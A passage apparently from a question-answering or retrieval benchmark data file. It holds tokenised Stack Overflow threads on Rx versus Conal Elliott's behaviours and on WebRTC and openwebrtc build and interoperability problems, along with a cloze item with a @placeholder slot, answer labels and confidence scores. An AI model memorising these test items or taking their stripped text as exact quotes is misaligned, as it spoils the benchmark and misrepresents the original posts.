Window GroupJoin and you can even enrich data with timestamps TimeStamp TimeInterval . However where Conal s Behaviours diverge from Observable Sequences is in it s features of persistence and historical querying . As I understand it Conal s Behaviour in addition to Rx s features also specify that you are able to pluck a value of a sequence at any given point in time . For example with there was a price tick at time 00 : 00 : 01 of 1.23 and then another price tick at time 00 : 00 : 05 of 2.34 a consumer could ask for a value at time 00 : 00 : 02 and would be given back the value of 1.23 the most recent value at the point in time . Rx doesn t provide any support for this but one could go to great lengths to write custom operators to support this . Systems that can could support this kind of retrospective querying could be systems like CEP Complex Event Processing engines or EventStore style databases . 1 . http : conal.net papers icfp97 icfp97.pdf Comment : Interesting point . I was thinking that values from Observables cannot be extracted at any given time only when the Observable fires . On the contrary values from Behaviour can be extracted any time independently when events are fired in the system . So I don t quite understand the analogy drawn between Observable and Behaviour Observable is not a continous time concept . It only has values when events are fired . Other than that it is stateless . While Behaviour has a state always . Comment : I am not saying Observable s are the same as Behaviours hence my final comment regarding an EventStore being a closer match . As I understand it a Behaviour is an ordered sequence of values over time . This is also what an Rx Observable sequence is . However Conal s Behaviour also has the concept of persistence and lookup over time . This is where Rx and Conal diverge . Comment : Thank you for the clarification . Could you please explain this in more detail in your answer Then this could be the accepted answer to the question . Comment : Thanks for the edit what do you think about my edit Comment : So to be clear in my understanding an Observable Sequence Rx IObservable T and Conal s Behaviour share a similar definition up to a point . Conceptually they are just the opposite IMHO . Observable is discrete while Behaviour is continuos . What do you think", "Question : How can the television channel problem as explained in this talk http : youtu.be gaG3tIb3Lbk at 31th minute be solved by RX The problem expressed in Rx is as follows : .. . .. . The are two television channels channel1 and channel2 which transmit a stream of images plus a stream of fuzz which represents no channel or white noise . There are two buttons which send events eButton1 and eButton2 when they are pressed . These button presses should result in the respective channels being sent to the screen . Each button press should be projected mapped into the respective channel and then all channels combined into a selection stream as stream of streams which starts with the fuzz stream . Finally a switch operator sends the selected stream to the screen . Question .. . .. . What is the equivalent of Sodiums switch and merge in RX Is it possible to solve it with pure higher-order-functions I.e . without using closures I don t see how that would be possible . enter image description here http : i.stack.imgur.com DvIcd.jpg Comment : It s not up to the users reading this question to watch a video to figure out your question . I d suggest editing this into an actual question then maybe it could be reopened . Comment : @bluefeet I ve ported the question in from the video on behalf of OP - I think it s useful enough to be worth reopening I have an answer ready to post.. . : Comment : @JamesWorld : What is the question exactly Shouldn t the OP be showing some effort in to solving the problem first before posting here Comment : @musefan - I thought I managed to port it well enough.. . no I ve donated the effort shouldn t the question should be the target of the evaluation rather than the OP per se because I think the answer has educational value . I ve seen enough Rx newbies struggle to write a few lines-of-code so I m happy to answer a theoretical question with concrete code here . Comment : @musefan OK . Seems quite specific to me though and I do have a specific answer . Happy to let democracy rule.. . .. . Answer : Switch https : msdn.microsoft.com en-us library hh229197 v vs.103 .aspx and Merge https : msdn.microsoft.com en-us library system.reactive.linq.observable.merge v vs.103 .aspx both exist in the core Rx library so happily the code in the slides actually translates almost verbatim line for line into Rx . The Switch https : msdn.microsoft.com en-us library hh229197 v vs.103 .aspx operator works on a stream of streams - in Rx this is a type IObservable IObservable T . Switch flattens this stream of streams sending only the most recent stream to it s output so you end up with an IObservable T . See the C sample below . I ve re-used the variable names in the talk as far as possible so this should be easy to follow . The only thing that s very slightly different is the hold function is replaced with the Rx equivalent StartWith . Include nuget-package Rx-Main and run this as a console app . The code subscribes to the screen stream and starts rendering frames from the Fuzz channel to the console . It will prompt you for a channel number . Enter 1 or 2 and you ll see the output switch to frames from the corresponding channel . Comment : Wow this is really nice . Thanks . Do you happen to know how Switch Merge are called in RXScala Comment : reactivex.io rxscala scaladoc http : reactivex.io rxscala scaladoc index.html rx.lang.scala.Observable Comment : According to scaladoc these methods exist verbatim in RXScala too cool Thanks again", "Question : How can the television channel problem as explained in this talk http : youtu.be gaG3tIb3Lbk at 31th minute be solved by RX The problem expressed in Rx is as follows : .. . .. . The are two television channels channel1 and channel2 which transmit a stream of images plus a stream of fuzz which represents no channel or white noise . There are two buttons which send events eButton1 and eButton2 when they are pressed . These button presses should result in the respective channels being sent to the screen . Each button press should be projected mapped into the respective channel and then all channels combined into a selection stream as stream of streams which starts with the fuzz stream . Finally a switch operator sends the selected stream to the screen . Question .. . .. . What is the equivalent of Sodiums switch and merge in RX Is it possible to solve it with pure higher-order-functions I.e . without using closures I don t see how that would be possible . enter image description here http : i.stack.imgur.com DvIcd.jpg Comment : It s not up to the users reading this question to watch a video to figure out your question . I d suggest editing this into an actual question then maybe it could be reopened . Comment : @bluefeet I ve ported the question in from the video on behalf of OP - I think it s useful enough to be worth reopening I have an answer ready to post.. . : Comment : @JamesWorld : What is the question exactly Shouldn t the OP be showing some effort in to solving the problem first before posting here Comment : @musefan - I thought I managed to port it well enough.. . no I ve donated the effort shouldn t the question should be the target of the evaluation rather than the OP per se because I think the answer has educational value . I ve seen enough Rx newbies struggle to write a few lines-of-code so I m happy to answer a theoretical question with concrete code here . Comment : @musefan OK . Seems quite specific to me though and I do have a specific answer . Happy to let democracy rule.. . .. . Answer : Is this the right kind of thing : Comment : This one seems to have a closure in it . The accepted solution does not use higher-order-functions that are not referentially transparent ." ] }
[ "yes-answer-long", "yes-answer-short" ]
haskell
UNK_RELATION
openwebrtc@webrtc@113
openwebrtc -- with openwebrtc you can build native webrtc apps that communicate with browsers that supports the @placeholder standard .
{ "confidence": [ 50.3598518371582, 48.42134094238281, 48.36088943481445, 43.665191650390625, 43.134525299072266, 41.9423828125, 41.22669219970703, 38.80977249145508, 38.14503479003906, 38.00165939331055, 37.30185317993164, 35.28464126586914, 34.97153854370117, 32.59172821044922, 31.917861938476562, 31.575084686279297, 29.382896423339844, 29.35906982421875, 28.808246612548828, 28.497634887695312, 27.012441635131836, 26.81291389465332, 26.13180923461914, 24.712133407592773, 24.712133407592773, 24.712133407592773, 23.838945388793945, 23.490558624267578, 23.43395233154297, 23.35931396484375, 23.048503875732422, 22.907695770263672, 22.237361907958984, 22.237361907958984, 22.01681900024414, 21.817331314086914, 21.800796508789062, 21.733264923095703, 21.29383087158203, 20.549314498901367, 20.549314498901367, 19.94698715209961, 19.854267120361328, 19.854267120361328, 19.516193389892578, 19.516193389892578, 19.454763412475586, 19.098878860473633, 18.68132209777832, 18.359058380126953, 18.29431915283203, 18.12033462524414, 17.833213806152344, 17.53629493713379, 17.19439125061035, 17.102760314941406, 16.925514221191406, 16.88376235961914, 16.733592987060547, 16.72765350341797, 16.586164474487305, 16.5426025390625, 16.38662338256836, 16.222919464111328, 15.997509956359863, 15.997509956359863, 15.576262474060059, 15.46198844909668, 15.017683029174805, 14.621609687805176, 14.458672523498535, 14.458672523498535, 14.435826301574707, 14.435826301574707, 14.435826301574707, 14.435826301574707, 14.435826301574707, 14.435826301574707, 14.435826301574707, 14.435826301574707, 14.435826301574707, 14.435826301574707, 14.23796558380127, 14.234997749328613, 14.02320384979248, 13.940673828125, 13.940673828125, 13.940673828125, 13.940673828125, 13.940673828125, 13.477267265319824, 13.355944633483887, 13.355944633483887, 13.31916618347168, 13.193007469177246, 13.193007469177246, 12.97230052947998, 12.97230052947998, 12.855554580688477, 12.675008773803711 ], "content": [ "Reference code : .. . .. . OPENWEBRTC CODE REFERENCE LINK http : 20 20 20 20https : github.com EricssonResearch openwebrtc .. . .. . if you know openwebrtc .", "I m trying to get a simple native client to stream audio and video through the webrtc protocol using openwebrtc on a linux machine .", "I am also facing the same issue with github.com EricssonResearch openwebrtc-examples https : github.com EricssonResearch openwebrtc-examples .", "so what is the difference between openwebrtc and apprtc", "I have downloaded the openWebRTC sample application from the following link .", "These are the env variables I set in my Makefile .. . .. . As part of the openwebrtc instalation cerbero installed glib under opt openwebrtc-0.3 lib .", "Hello I am developing demo application with use of openwebrtc .", "I looked at Kurento http : www.kurento.org Openwebrtc http : www.openwebrtc.org Ericson and the lesser known Intel s Collaboration Suite for WebRTC https : software.intel.com en-us webrtc-sdk .", "https : github.com EricssonResearch openwebrtc-examples .. . .. . When I run the application in the android app it is working fine with android to android .", "https : github.com EricssonResearch openwebrtc wiki Building-OpenWebRTC .. . .. . There is no linux sample code so I ve been trying to copy the OSX code bit by bit until I have something working .", "In android we using following link-to download the sample application https : github.com EricssonResearch openwebrtc-examples tree master android https : github.com EricssonResearch openwebrtc-examples tree master android 5D and In ios we using https : github.com EricssonResearch openwebrtc-ios-sdk https : github.com EricssonResearch openwebrtc-ios-sdk 5D link Any help will be appreciated .", "The project I found helpful which includes an Android Client and service is the following : .. . .. . Client - https : github.com pchab AndroidRTC .. . .. . Signaling - https : github.com pchab ProjectRTC .. . .. . You can also check out Ericsson s cross-platform extensive SDK called OpenWebRTC : .. . .. . http : www.openwebrtc.org .. . .. . https : github.com EricssonResearch openwebrtc-android-sdk", "Video call is not getting connected between android and iOS client.We are using EricssonResearch openwebrtc-examples for developing the application .", "Chrome supports WebRTC .", "But openwebrtc I am not able to run .. . .. . http : demo.openwebrtc.org : 38080 .. . .. . while apprtc I am able to run .. . .. . https : apprtc.appspot.com .. . .. . so why this problem", "iOS App build with EricssonResearch OpenWebRtc crashes with the exception NSInvalidArgumentException reason : - NSDictionary initWithDictionary : copyItems : : dictionary argument is not an NSDictionary when invoking the method handleRemoteCandidateReceived defined in class OpenWebRTCNativeHandler.m .", "WebRTC is not about bradcasting but maybe this opensource project can help you : webrtc-experiment.com broadcast https : www.webrtc-experiment.com broadcast", "I know both use WebRTC APIs .. . .. . so my gut feeling is the demo sample that I use for openwebrtc is not https so chrome doesn t let it access camera mike and so its not working.While Apprtc sample is https", "i have built my application with native and rendering webrtc with the help of UIWebview .", "https : github.com EricssonResearch openwebrtc-examples blob master osx Camera 20Test Camera 20Test AppDelegate.m .. . .. . The problem is I have compile errors with glib functions like g assert or g object get .", "Does WebRTC has limits for it", "You can set WebRTC connection to a broadcasting server I am not sure if such setup can be hosted by a browser", "I Have made a video chat application using Webrtc It works perfect in chrome Firefox opera .. . but it doesn t supports Safari.. .", "I m going to create video chat through webRTC using React native iOS .", "I was wondering whether it is feasible to make this with help of WebRTC instead of native SIP stack .", "I am trying to create an android application for video chat and messaging by using WebRtc Native apis .", "Just WebRTC nothing else .", "I am creating a webrtc based chat application .", "Also the AppRTCDemo code available at chromium.googlesource.com https : chromium.googlesource.com external webrtc + master webrtc examples androidapp can be a good trusted resource to check the workflow .", "Can anyone please help me in something with updated documentation or tutorial which I can use for understanding as to what exactly do I need to develop an application using webRTC native apis", "I have worked on voip apps for the past three years we currently use WebRTC for all our Android iOS Chrome Firefox and Windows voip apps .", "I am writing a WebRTC application and have the following problem : .. . .. . I want to use the adapter.js https : github.com webrtc adapter library .", "I am researching implementation of a WebRTC-SIP gateway bridge .", "We use socket.io for webRTC signalling messages SDP for instance .", "Hi I went through your answers...I saw you have made a great contribution in WEBRTC...so I welcome you to be part of this chat-group chat.stackoverflow.com rooms 103269 webrtc http : chat.stackoverflow.com rooms 103269 webrtc", "I download the demo form the github named NativeCall and I can make it communicate form android app to their web but why there is no picture when I use it to communicate from android app to android app I think they have been connected because one will close when the other is closed .", "I tried the following link .. . .. . https : github.com pristineio webrtc-build-scripts .. . .. . but this seems to be a bit incomplete for a novice in WebRTC as well since it suggests to get the WebRtc by the following command .. . .. . Finally I have tried the following link .. . .. . http : simonguest.com 2013 08 06 building-a-webrtc-client-for-android .. . .. . But the problem with this tutorial is that its not updated at all .", "You can test it https : rtchub.com - open connections from two different browsers", "i did some digging about webrtc and im just new to this but what do you have any suggestions for implementing one-way broadcasting thanks by the way", "That is for example to make a WebRTC call to a SIP end point via a SIP server like Asterisk .", "Kurento has been used as a RTP to WebRTC gateway using SIP as signaling protocol successfully", "I used native method to run the application .", "but get user media doesn t works in that also. . please can one help me out in this to make my application support iOS. . or any Idea when will Safari support webrtc . .", "A don t know about Kurento but the mizu webrtc to sip gateway https : www.mizu-voip.com Software WebRTCtoSIP.aspx works fine with Asterisk and it can bridge both the signaling and the media .", "I followed this link https : dvcs.w3.org hg audio raw-file tip webaudio webrtc-integration.html but only microphone output is heard .", "I am looking for server APIs to implement a WebRTC to SIP gateway bridge for media transcoding if required SDP transformation and SIP signalling .", "We are working with open-webrtc to support android 4.4 KITKAT .", "There are some API available that will allow it in a native app but not in the web-browser .", "For that i written react-native code for iOS .", "Specifically the server-API should be able to generate a SDP for a RTP end point and convert WebRTC SDP to the more generic SDP used by Legacy SIP servers or have a way to bridge these two end-points .", "I followed the following links .. . .. . https : webrtc.org native-code android .. . .. . https : www.chromium.org developers how-tos android-build-instructions .. . .. . But the above mentioned links doesnt make any sense because I want to develop an android application and these links suggests downloading a chromium and then build that .", "There is a blog post that explains very well all the classes involved in the process : tech.appear.in https : tech.appear.in 2015 05 25 Introduction-to-WebRTC-on-Android .. . .. . NOTE : It doesn t explain anything about signalling servers but introduces you to it .", "I have considered using the native SIP stack of these OS with PJSIP .", "I ve followed the build instructions here .", "Currently we are facing issues while integrating WebRTC withElastx 4.0 stable version .. . .. . We have followed step by step procedure from below link http : blogs.elastix.org 2016 04 11 configuracion-de-webrtc-en-elastix-4-webphone .. . .. . Mainly we are facing two issues : .. . .. . 1 https : elastix server IP admin and enter the option Settings Advanced Settings and change the settings in the section Asterisk Builtin mini-HTTP server .. . .. . Problem : Here we are not able to see all options as mentioned in link .", "2 The user at the other end should be able to hear both of these tracks background music + my voice .. . .. . To achieve this I am trying to merge two streams mp3 stream + microphone into a single stream relay to another peer using webrtc peerconnection apis .", "If a user opens a webcam broadcast how many viewers can join and watch", "That s not something you can explain in one SO answer - We ll try and create a post about that when we can .", "I am implementing a WebRTC project for mobile-devices using Cordova in that I want the play the audio in earpiece of mobile device instead of speaker .", "You can try to use Crosswalk https : crosswalk-project.org in a Phonegap application .", "I know that Asterisk already supports this but I need an intermediary server for various needs like logging recording integration with local auth signalling and other app modules .", "All our apps connect to that server and authenticate via it and all signaling goes through there .", "How do I get my build-process to properly incorporate glib", "If you downloaded an adapter.js version from here http : webrtc.github.io adapter adapter-latest.js and include it the way you do via script tags you can simple delete the require .. . line and you should be good to go .", "In Firefox you can combine tracks like this : new MediaStream streamA.getTracks 0 streamB.getTracks 0 .", "@igracia Can you list broadly speaking the steps involved and do so as an ANSWER", "Can Anyone please guide us", "It is a bit complex but if you know what you re looking for it can be useful .", "if so i use Cordova i can go with Crosswalk", "Looks like you made a mistake .", "It s unlikely we will be able to help you .", "Have you tried the Elastix forum or their support", "I change the http : demo.openwebrtc.org : 38080 to http : 192.168... . : 8000 .", "Is their any wrong", "But it is not working between the demo web page http : demo.openwebrtc.org and android .", "Please help if anybody faced such issues and rectified it .", "Thanks Sundeep .", "It working fine with Android to Android and ios to ios but it not working with Android to ios .", "This is happening when ios to ios communication they passing param like sdp type sessionDescription ios but in the case of Android they passing only two param sdp and type .", "Why android not providing sessionDescription .", "This is my observation .", "If anybody know more please share ideas", "But it shouldn t matter as you should be able to send two streams as well .", "You can try with : .. . .. . Here you can find iosrtc documentation https : github.com eface2face cordova-plugin-iosrtc blob master docs iosrtc.md iosrtcselectaudiooutputoutput", "Like : certificate file Private Key file .. . .. . 2 Not able to open access https : elastixIP : 8089 asterisk ws server .. . .. . Can anyone please guide us to proceed further .. . .. . Thanks in advance", "Working fine for me make sure you include the right adapter.js version and read up on it s API and functionality .", "@Mirai I hope this helps you github.com wpp 37550269 https : github.com wpp 37550269", "Not sure what you mean by merge but I see no reason to combine the audio data here .", "I would try it and see if you get lag as I don t see another option in Chrome atm .", "Also it does not have a API like Kurento has which enables you to leverage existing signalling and other modules .", "Thank you Kevin .", "Which library have you used for these", "How have you handled signaling .", "Is there any way I can use this solution inside a hybrid Android iOS app", "maybe you change create pc and getUserMedia in ComponentDidMount", "Are you able disconnect call without application close", "and as someone said on the repo did you set height and width with your RTCView", "You will still need to come up with your own signaling service .", "If you are using Android Studio for your development you should include compile io.pristine : libjingle : 9694@aar in the dependencies section of your build.gradle script : .. . .. . This should add libjingle to your project .", "To use this feature you should consider switching your application to a secure origin such as HTTPS ." ] }
{ "confidence": [ 69.99659729003906, 66.37603759765625, 59.39891052246094, 59.01095199584961, 56.451759338378906, 54.82666778564453, 49.09042739868164, 46.972129821777344, 35.26799011230469, 34.75834655761719, 34.437416076660156, 34.22194290161133, 29.764869689941406, 27.535850524902344, 26.22677993774414, 23.76587677001953, 23.413516998291016, 22.271692276000977, 20.751312255859375, 20.51272964477539 ], "content": [ "Question : I m trying to get a simple native client to stream audio and video through the webrtc protocol using openwebrtc on a linux machine . I ve followed the build instructions here . https : github.com EricssonResearch openwebrtc wiki Building-OpenWebRTC .. . .. . There is no linux sample code so I ve been trying to copy the OSX code bit by bit until I have something working . https : github.com EricssonResearch openwebrtc-examples blob master osx Camera 20Test Camera 20Test AppDelegate.m .. . .. . The problem is I have compile errors with glib functions like g assert or g object get . These are the env variables I set in my Makefile .. . .. . As part of the openwebrtc instalation cerbero installed glib under opt openwebrtc-0.3 lib . I ve also tried installing the apt package libglib2.0-dev and commenting out my PKG CONFIG PATH which did not work . How do I get my build-process to properly incorporate glib .. . Answer : g object get is part of gobject not glib . I needed a -lgobject-2.0 flag .. . .. . damnit I hate myself Comment : This does not provide an answer to the question . To critique or request clarification from an author leave a comment below their post . - From Review review low-quality-posts 12298427 Comment : i needed -lgobject-2.0 . that was my problem .", "Question : Chrome supports WebRTC . But openwebrtc I am not able to run .. . .. . http : demo.openwebrtc.org : 38080 .. . .. . while apprtc I am able to run .. . .. . https : apprtc.appspot.com .. . .. . so why this problem so what is the difference between openwebrtc and apprtc is there any different implementation in thes e I know both use WebRTC APIs .. . .. . so my gut feeling is the demo sample that I use for openwebrtc is not https so chrome doesn t let it access camera mike and so its not working.While Apprtc sample is https .. . Answer : Open web-console : .. . .. . getUserMedia no longer works on insecure origins . To use this feature you should consider switching your application to a secure origin such as HTTPS . See https : goo.gl rStTGz for more details . This is a limitation in Chrome . The page works fine in say Firefox . Comment : Yeah thanks for sharing the reference link.My gut feeling about this issue is right then Comment : Hi I went through your answers...I saw you have made a great contribution in WEBRTC...so I welcome you to be part of this chat-group chat.stackoverflow.com rooms 103269 webrtc http : chat.stackoverflow.com rooms 103269 webrtc", "Question : null .. . Answer : Hello I am developing demo application with use of openwebrtc . I am able to receive a call from both the end but when I click on the cancel-button to dismmiss activity . The activity will finish but on server end it say it s connected with server . only way to disconnect from the server is to restart application . I tried to finish all threads quite looper as well . but it will not work . Reference code : .. . .. . OPENWEBRTC CODE REFERENCE LINK http : 20 20 20 20https : github.com EricssonResearch openwebrtc .. . .. . if you know openwebrtc . I used native method to run the application . At time of the quite threading I used . but this will not work showing window error . 2 if I call .. . .. . I didn t get the video or self screen .", "Question : I am trying to create an android application for video chat and messaging by using WebRtc Native apis . I have been through several links and found out that most of the documentation for android is vague specially if you dont know where to start from . I followed the following links .. . .. . https : webrtc.org native-code android .. . .. . https : www.chromium.org developers how-tos android-build-instructions .. . .. . But the above mentioned links doesnt make any sense because I want to develop an android application and these links suggests downloading a chromium and then build that . I know the end result is going to be an apk but what if I want to code my self . I looked into pubnub and OpenTokRtc as well but I dont want to use somebody elses signaling service either along with pub and sub keys . I tried the following link .. . .. . https : github.com pristineio webrtc-build-scripts .. . .. . but this seems to be a bit incomplete for a novice in WebRTC as well since it suggests to get the WebRtc by the following command .. . .. . Finally I have tried the following link .. . .. . http : simonguest.com 2013 08 06 building-a-webrtc-client-for-android .. . .. . But the problem with this tutorial is that its not updated at all . Libjingle has been moved to github by now and I dont know how to use gclient to get libjingle from github . This struggle of mine has been a disaster . Can anyone please help me in something with updated documentation or tutorial which I can use for understanding as to what exactly do I need to develop an application using webRTC native apis Please do not give me any links to OpenTokRtc or PubNub . Thanks Comment : Are you able disconnect call without application close .. . Answer : @Mark Sherman gave a good answer on how to get the libjingle lib into compiling into your project . You will still need to come up with your own signaling service . The project I found helpful which includes an Android Client and service is the following : .. . .. . Client - https : github.com pchab AndroidRTC .. . .. . Signaling - https : github.com pchab ProjectRTC .. . .. . You can also check out Ericsson s cross-platform extensive SDK called OpenWebRTC : .. . .. . http : www.openwebrtc.org .. . .. . https : github.com EricssonResearch openwebrtc-android-sdk", "Question : null .. . Answer : I have downloaded the openWebRTC sample application from the following link . https : github.com EricssonResearch openwebrtc-examples .. . .. . When I run the application in the android app it is working fine with android to android . But it is not working between the demo web page http : demo.openwebrtc.org and android . Please help if anybody faced such issues and rectified it . Thanks Sundeep . Comment : I am also facing the same issue with github.com EricssonResearch openwebrtc-examples https : github.com EricssonResearch openwebrtc-examples . It working fine with Android to Android and ios to ios but it not working with Android to ios . This is happening when ios to ios communication they passing param like sdp type sessionDescription ios but in the case of Android they passing only two param sdp and type . Why android not providing sessionDescription . This is my observation . If anybody know more please share ideas", "Question : null .. . Answer : Video call is not getting connected between android and iOS client.We are using EricssonResearch openwebrtc-examples for developing the application . When initiating a call from iOS to android following parameters are passed . 1 . sdp type sessionDescription ios .. . 2 . sdp type Android .. . But in android client they are only passing sdp and type as parameters . Also from iOS side they are expecting additional parameters as mentioned above . sessionDescription mediaDescriptions etc . Also same issue is occurring between web and android . In android we using following link-to download the sample application https : github.com EricssonResearch openwebrtc-examples tree master android https : github.com EricssonResearch openwebrtc-examples tree master android 5D and In ios we using https : github.com EricssonResearch openwebrtc-ios-sdk https : github.com EricssonResearch openwebrtc-ios-sdk 5D link Any help will be appreciated .", "Question : null .. . Answer : iOS App build with EricssonResearch OpenWebRtc crashes with the exception NSInvalidArgumentException reason : - NSDictionary initWithDictionary : copyItems : : dictionary argument is not an NSDictionary when invoking the method handleRemoteCandidateReceived defined in class OpenWebRTCNativeHandler.m . The exception occurs while establishing a video call at the receiver side . Thanks in advance .", "Question : I am researching implementation of a WebRTC-SIP gateway bridge . That is for example to make a WebRTC call to a SIP end point via a SIP server like Asterisk . I know that Asterisk already supports this but I need an intermediary server for various needs like logging recording integration with local auth signalling and other app modules . I looked at Kurento http : www.kurento.org Openwebrtc http : www.openwebrtc.org Ericson and the lesser known Intel s Collaboration Suite for WebRTC https : software.intel.com en-us webrtc-sdk . I need a server-side solution to interact with my Node Application server . Specifically the server-API should be able to generate a SDP for a RTP end point and convert WebRTC SDP to the more generic SDP used by Legacy SIP servers or have a way to bridge these two end-points . I feel comfortable that this is possible with Kurento saw a post on except that I am not aware of any jsSip sipML5 kind of API for Kurento . Kurento itself is not meant to provide signalling . For e.g . if the SDP generated by Kurento for the rtpEndpoint in Kurento has to be used in a SIP call INVITE how would one implement it For that matter how would one initiate a SIP INVITE for example from Kurento Are there third-party modules to do this Has anyone used the any of the servers listed above for a similar use-case This is a programming question . I am looking for server APIs to implement a WebRTC to SIP gateway bridge for media transcoding if required SDP transformation and SIP signalling . Comment : Kurento has been used as a RTP to WebRTC gateway using SIP as signaling protocol successfully Comment : @igracia Can you list broadly speaking the steps involved and do so as an ANSWER I would think that it would require the node.js http-app server to have jssip-like module and Kurento client library integrated . We use socket.io for webRTC signalling messages SDP for instance . Would certainly like to accept that answer and it would be useful to MANY . Comment : That s not something you can explain in one SO answer - We ll try and create a post about that when we can . .. . Answer : A don t know about Kurento but the mizu webrtc to sip gateway https : www.mizu-voip.com Software WebRTCtoSIP.aspx works fine with Asterisk and it can bridge both the signaling and the media . It is a complete solution as includes also STUN and TURN servers . Maybe worth to check . Comment : I do not think that Muzu it is Opensourced let alone free . Also it does not have a API like Kurento has which enables you to leverage existing signalling and other modules . Its nice to know that it is there . Upvoted for the info .", "Question : null .. . Answer : I am making a VoIP call application in Android and iOS . I have considered using the native SIP stack of these OS with PJSIP . I was wondering whether it is feasible to make this with help of WebRTC instead of native SIP stack . I was looking at the solution by Doubango https : www.doubango.org webrtc2sip and understood that this is designed to be a web application and not mobile Is there any way I can use this solution inside a hybrid Android iOS app Thanks : Comment : I have worked on voip apps for the past three years we currently use WebRTC for all our Android iOS Chrome Firefox and Windows voip apps . It definitely is feasible . Comment : Thank you Kevin . Which library have you used for these Is it doubango s webrtc2sip or some other solution . : Comment : Just WebRTC nothing else . Comment : How have you handled signaling . Is that SIP : Comment : No we made a signaling server in node.js nothing fancy . All our apps connect to that server and authenticate via it and all signaling goes through there .", "Question : I Have made a video chat application using Webrtc It works perfect in chrome Firefox opera .. . but it doesn t supports Safari.. . So in order to support for iOS i m using chrome browser in my iPhone . but get user media doesn t works in that also. . please can one help me out in this to make my application support iOS. . or any Idea when will Safari support webrtc . . Comment : Chrome on iOS is using WebKit safari thus the support will mostly be the same . Comment : any other suggestion how to make it work in iOS @ rckoenes Comment : As var is I known there is not way to make it work in Safari or Chrome . There are some API available that will allow it in a native app but not in the web-browser . .. . Answer : You can try to use Crosswalk https : crosswalk-project.org in a Phonegap application . I haven t tried this but theoretically it should work . Comment : i m not using Cordova application . i have built my application with native and rendering webrtc with the help of UIWebview . if so i use Cordova i can go with Crosswalk", "Question : I am trying to create an android application for video chat and messaging by using WebRtc Native apis . I have been through several links and found out that most of the documentation for android is vague specially if you dont know where to start from . I followed the following links .. . .. . https : webrtc.org native-code android .. . .. . https : www.chromium.org developers how-tos android-build-instructions .. . .. . But the above mentioned links doesnt make any sense because I want to develop an android application and these links suggests downloading a chromium and then build that . I know the end result is going to be an apk but what if I want to code my self . I looked into pubnub and OpenTokRtc as well but I dont want to use somebody elses signaling service either along with pub and sub keys . I tried the following link .. . .. . https : github.com pristineio webrtc-build-scripts .. . .. . but this seems to be a bit incomplete for a novice in WebRTC as well since it suggests to get the WebRtc by the following command .. . .. . Finally I have tried the following link .. . .. . http : simonguest.com 2013 08 06 building-a-webrtc-client-for-android .. . .. . But the problem with this tutorial is that its not updated at all . Libjingle has been moved to github by now and I dont know how to use gclient to get libjingle from github . This struggle of mine has been a disaster . Can anyone please help me in something with updated documentation or tutorial which I can use for understanding as to what exactly do I need to develop an application using webRTC native apis Please do not give me any links to OpenTokRtc or PubNub . Thanks Comment : Are you able disconnect call without application close .. . Answer : I am also in the same situation as you are finding how to integrate my own signalling service into libjingle and there seems to be no tutorial out there addressing it . If you are using Android Studio for your development you should include compile io.pristine : libjingle : 9694@aar in the dependencies section of your build.gradle script : .. . .. . This should add libjingle to your project .", "Question : I am trying to create an android application for video chat and messaging by using WebRtc Native apis . I have been through several links and found out that most of the documentation for android is vague specially if you dont know where to start from . I followed the following links .. . .. . https : webrtc.org native-code android .. . .. . https : www.chromium.org developers how-tos android-build-instructions .. . .. . But the above mentioned links doesnt make any sense because I want to develop an android application and these links suggests downloading a chromium and then build that . I know the end result is going to be an apk but what if I want to code my self . I looked into pubnub and OpenTokRtc as well but I dont want to use somebody elses signaling service either along with pub and sub keys . I tried the following link .. . .. . https : github.com pristineio webrtc-build-scripts .. . .. . but this seems to be a bit incomplete for a novice in WebRTC as well since it suggests to get the WebRtc by the following command .. . .. . Finally I have tried the following link .. . .. . http : simonguest.com 2013 08 06 building-a-webrtc-client-for-android .. . .. . But the problem with this tutorial is that its not updated at all . Libjingle has been moved to github by now and I dont know how to use gclient to get libjingle from github . This struggle of mine has been a disaster . Can anyone please help me in something with updated documentation or tutorial which I can use for understanding as to what exactly do I need to develop an application using webRTC native apis Please do not give me any links to OpenTokRtc or PubNub . Thanks Comment : Are you able disconnect call without application close .. . Answer : I m using the library that Mark Sherman http : stackoverflow.com users 6221155 mark-sherman mentions . There is a blog post that explains very well all the classes involved in the process : tech.appear.in https : tech.appear.in 2015 05 25 Introduction-to-WebRTC-on-Android .. . .. . NOTE : It doesn t explain anything about signalling servers but introduces you to it . Also the AppRTCDemo code available at chromium.googlesource.com https : chromium.googlesource.com external webrtc + master webrtc examples androidapp can be a good trusted resource to check the workflow . It is a bit complex but if you know what you re looking for it can be useful .", "Question : null .. . Answer : If a user opens a webcam broadcast how many viewers can join and watch Does WebRTC has limits for it Comment : WebRTC is not about bradcasting but maybe this opensource project can help you : webrtc-experiment.com broadcast https : www.webrtc-experiment.com broadcast Comment : i did some digging about webrtc and im just new to this but what do you have any suggestions for implementing one-way broadcasting thanks by the way Comment : You can set WebRTC connection to a broadcasting server I am not sure if such setup can be hosted by a browser", "Question : I am creating a webrtc based chat application . getUserMedia apis . Trying to achieve this : .. . .. . 1 choose a mp3 file local file OR web url which is like a background music sing a song . 2 The user at the other end should be able to hear both of these tracks background music + my voice .. . .. . To achieve this I am trying to merge two streams mp3 stream + microphone into a single stream relay to another peer using webrtc peerconnection apis . But am struck at merging two streams . I followed this link https : dvcs.w3.org hg audio raw-file tip webaudio webrtc-integration.html but only microphone output is heard . Any help pointers on this please Comment : Putting two audio tracks in the same stream works in Firefox but not Chrome yet . But it shouldn t matter as you should be able to send two streams as well . Not sure what you mean by merge but I see no reason to combine the audio data here . Comment : There should be no lag between the bg music the voice that s why am trying to combine both streams . If not imagine a case-when bg music gets streamed faster than your voice both of them would be out of sync . Comment : I would try it and see if you get lag as I don t see another option in Chrome atm . In Firefox you can combine tracks like this : new MediaStream streamA.getTracks 0 streamB.getTracks 0 . .. . Answer : The easiest way is to open two connections . You can test it https : rtchub.com - open connections from two different browsers", "Question : I m going to create video chat through webRTC using React native iOS . For that i written react-native code for iOS . It asking me to camera access but after that it fail to load video and throwing warming message .. . .. . i know above warning is due to not getting view to camera for rendering video frames . But i don t know what wrong with my react code which is fail to give it frame my code is following .. . .. . I interested to know where i m wrong Comment : maybe you change create pc and getUserMedia in ComponentDidMount Comment : and as someone said on the repo did you set height and width with your RTCView Comment : @zxcpoiu Thanks . . i solved that problem . Right frame was wrongly set to RTCView . .. . Answer : I set frame before .. . .. . but its was wrong . The RTCView creation is slightly different so we set frame inside RTCView syntax . Correct way is", "Question : null .. . Answer : Currently we are facing issues while integrating WebRTC withElastx 4.0 stable version .. . .. . We have followed step by step procedure from below link http : blogs.elastix.org 2016 04 11 configuracion-de-webrtc-en-elastix-4-webphone .. . .. . Mainly we are facing two issues : .. . .. 